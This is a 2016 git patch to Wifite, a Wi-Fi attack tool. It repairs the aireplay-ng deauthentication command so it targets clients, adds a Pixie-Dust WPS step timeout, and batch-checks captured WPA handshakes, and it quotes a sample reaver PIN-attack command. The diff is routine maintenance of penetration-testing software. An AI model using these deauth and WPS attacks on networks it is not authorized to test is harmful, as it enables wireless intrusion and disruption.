From 8b5f5ce3f4bee7a76639cb5bcd8379c6cfd456e1 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 16 Apr 2016 13:15:23 -0400 Subject: [PATCH] Fix deauth, Pixie step timeout, better handshake options. Deauth now deauths clients (whoops). Checks all handshakes if no filename is given to --check-hs Times out a --pixie attack if the step does not change in 30 seconds. --- Wifite.py | 28 ++++++++++++++++++++-------- py/Airmon.py | 8 ++++---- py/Arguments.py | 19 ++++++++++++++----- py/AttackWPA.py | 9 +++++---- py/AttackWPS.py | 24 ++++++++++++++++++------ py/Configuration.py | 10 +++++++--- py/Handshake.py | 2 -- 7 files changed, 68 insertions(+), 32 deletions(-) diff --git a/Wifite.py b/Wifite.py index b77b1a6..2ab540b 100755 --- a/Wifite.py +++ b/Wifite.py @@ -13,7 +13,7 @@ from json import loads import os class Wifite(object): - + def main(self): ''' Either performs action based on arguments, or starts attack scanning ''' @@ -60,15 +60,27 @@ class Wifite(object): Color.pl('\n{+} Cracked target #%d:' % (index + 1)) cr = CrackResult.load(item) cr.dump() - + def check_handshake(self, capfile): ''' Analyzes .cap file for handshake ''' - Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) - if not os.path.exists(capfile): - Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) - return - hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) - hs.analyze() + if capfile == '': + Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n') + try: + capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')] + except OSError, e: + capfiles = [] + if len(capfiles) == 0: + Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n') + else: + capfiles = [capfile] + for capfile in capfiles: + Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) + if not os.path.exists(capfile): + Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) + return + hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) + hs.analyze() + Color.pl('') def run(self): diff --git a/py/Airmon.py b/py/Airmon.py index b462e5d..6d60dcd 100644 --- a/py/Airmon.py +++ b/py/Airmon.py @@ -203,13 +203,13 @@ class Airmon(object): choice = raw_input(question) iface = a.get(choice) - + if a.get(choice).name in mon_ifaces: Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) else: iface.name = Airmon.start(iface) return iface.name - + @staticmethod def terminate_conflicting_processes(): @@ -221,7 +221,7 @@ class Airmon(object): Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! - -e + -e PID Name 2272 dhclient 2293 NetworkManager @@ -246,7 +246,7 @@ class Airmon(object): pid = match.groups()[0] pname = match.groups()[1] Color.pl('{!} {R}terminating {O}conflicting process' + - ' {R}%s{O} ({R}%s{O})' % (pname, pid)) + ' {R}%s{O} (PID {R}%s{O})' % (pname, pid)) os.kill(int(pid), signal.SIGTERM) diff --git a/py/Arguments.py b/py/Arguments.py index 6fb9351..583c1a8 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -182,6 +182,13 @@ class Arguments(object): type=int, help=Color.s('Time to wait before stopping PixieDust (default: {G}%d sec{W})') % Configuration.wps_pixie_timeout) + wps.add_argument('--pixiest', + action='store', + dest='wps_pixie_step_timeout', + metavar='[seconds]', + type=int, + help=Color.s('Time to wait for a step to change before stopping PixieDust (default: {G}%d sec{W})') + % Configuration.wps_pixie_step_timeout) wps.add_argument('-wpst', action='store', dest='wps_pin_timeout', @@ -223,26 +230,28 @@ class Arguments(object): help=Color.s('Display previously-cracked access points')) commands.add_argument('--check-hs', action='store', - metavar='[file]', + metavar='file', + nargs='?', + const='', dest='check_handshake', - help=Color.s('Check a .cap file for WPA handshakes')) + help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes')) commands.add_argument('--crack-wpa', action='store', type=str, dest='crack_wpa', - metavar='[file]', + metavar='file', help=Color.s('Crack a .cap file containing a WPA handshake')) commands.add_argument('--crack-wep', action='store', type=str, dest='crack_wep', - metavar='[file]', + metavar='file', help=Color.s('Crack a .cap file containing WEP IVS')) commands.add_argument('--update', action='store_true', dest='update', help=Color.s('Update to latest version of Wifite (on github)')) - + return parser.parse_args() if __name__ == '__main__': diff --git a/py/AttackWPA.py b/py/AttackWPA.py index 03cfb88..9abef35 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -40,7 +40,7 @@ class AttackWPA(Attack): Color.p('\r{+} {C}WPA-handshake attack{W}: ') Color.p('{O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) - + # Get client station MAC addresses clients = [c.station for c in airodump_target.clients] client_index = 0 @@ -137,7 +137,7 @@ class AttackWPA(Attack): if wordlist != None: wordlist_name = wordlist.split(os.sep)[-1] if not os.path.exists(wordlist): - Color.pl('{!} {R}unable to crack:' + + Color.pl('{!} {R}unable to crack:' + ' wordlist {O}%s{R} does not exist{W}' % wordlist) else: # We have a wordlist we can use @@ -217,13 +217,14 @@ class AttackWPA(Attack): target_name = 'broadcast' command = [ 'aireplay-ng', - '--ignore-negative-one', '-0', # Deauthentication + '1', # Number of deauths to perform. '-a', self.target.bssid ] + command.append('--ignore-negative-one') if station_bssid: # Deauthing a specific client - command.extend(['-h', station_bssid]) + command.extend(['-c', station_bssid]) command.append(Configuration.interface) Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name) return Process(command) diff --git a/py/AttackWPS.py b/py/AttackWPS.py index d613876..10d253d 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -71,6 +71,7 @@ class AttackWPS(Attack): pin = None step = '0) initializing' + time_since_last_step = 0 while True: time.sleep(1) @@ -106,6 +107,7 @@ class AttackWPS(Attack): Color.pl('{R}failed: {O}WPS pin not found{W}') return False + last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' @@ -133,9 +135,19 @@ class AttackWPS(Attack): Color.pl('{R}failed: {O}WPS pin not found{W}') break + if step != last_step: + # Step changed, reset step timer + time_since_last_step = 0 + else: + time_since_last_step += 1 + + if time_since_last_step > Configuration.wps_pixie_step_timeout: + Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) + break + # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_timeout) + Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check @@ -197,7 +209,7 @@ class AttackWPS(Attack): if failures >= Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures{W}') break - + # Get output out = self.get_stdout() @@ -364,15 +376,15 @@ class AttackWPS(Attack): if __name__ == '__main__': stdout = ''' -[Pixie-Dust] +[Pixie-Dust] [Pixie-Dust] Pixiewps 1.1 -[Pixie-Dust] +[Pixie-Dust] [Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 [Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 [Pixie-Dust] [+] WPS pin: 12345678 -[Pixie-Dust] +[Pixie-Dust] [Pixie-Dust] [*] Time taken: 0 s -[Pixie-Dust] +[Pixie-Dust] Running reaver with the correct pin, wait ... Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 diff --git a/py/Configuration.py b/py/Configuration.py index daa8975..98c56ca 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -70,8 +70,9 @@ class Configuration(object): Configuration.no_reaver = False # Do not use Reaver on WPS networks Configuration.reaver = False # ONLY use Reaver on WPS networks Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS - Configuration.wps_pin_timeout = 600 # Seconds to wait before reaver fails - Configuration.wps_pixie_timeout = 600 # Seconds to wait before pixie fails + Configuration.wps_pin_timeout = 600 # Seconds to wait for PIN before reaver fails + Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before pixie fails + Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails Configuration.wps_max_retries = 20 # Retries before failing Configuration.wps_fail_threshold = 30 # Max number of failures Configuration.wps_timeout_threshold = 30 # Max number of timeouts @@ -181,6 +182,9 @@ class Configuration(object): if args.wps_pixie_timeout: Configuration.wps_pixie_timeout = args.wps_pixie_timeout Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) + if args.wps_pixie_step_timeout: + Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout + Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout) if args.wps_pin_timeout: Configuration.wps_pin_timeout = args.wps_pin_timeout Color.pl('{+} {C}option:{W} WPS PIN attack will timeout after {G}%d seconds{W}' % args.wps_pin_timeout) @@ -245,7 +249,7 @@ class Configuration(object): if args.crack_wep: Configuration.crack_wep = args.crack_wep if args.update: Configuration.update = True if args.check_handshake: Configuration.check_handshake = args.check_handshake - + @staticmethod def temp(subfile=''): diff --git a/py/Handshake.py b/py/Handshake.py index 144546e..bff8c06 100644 --- a/py/Handshake.py +++ b/py/Handshake.py @@ -29,8 +29,6 @@ class Handshake(object): if not self.essid and not self.bssid: # We do not know the bssid nor the essid - Color.pl('{!} {O}Warning{W}:' + - ' {R}bssid{O} and {R}essid{O} were not specified{W}') # TODO: Display menu for user to select from list # HACK: Just use the first one we see self.bssid = pairs[0][0]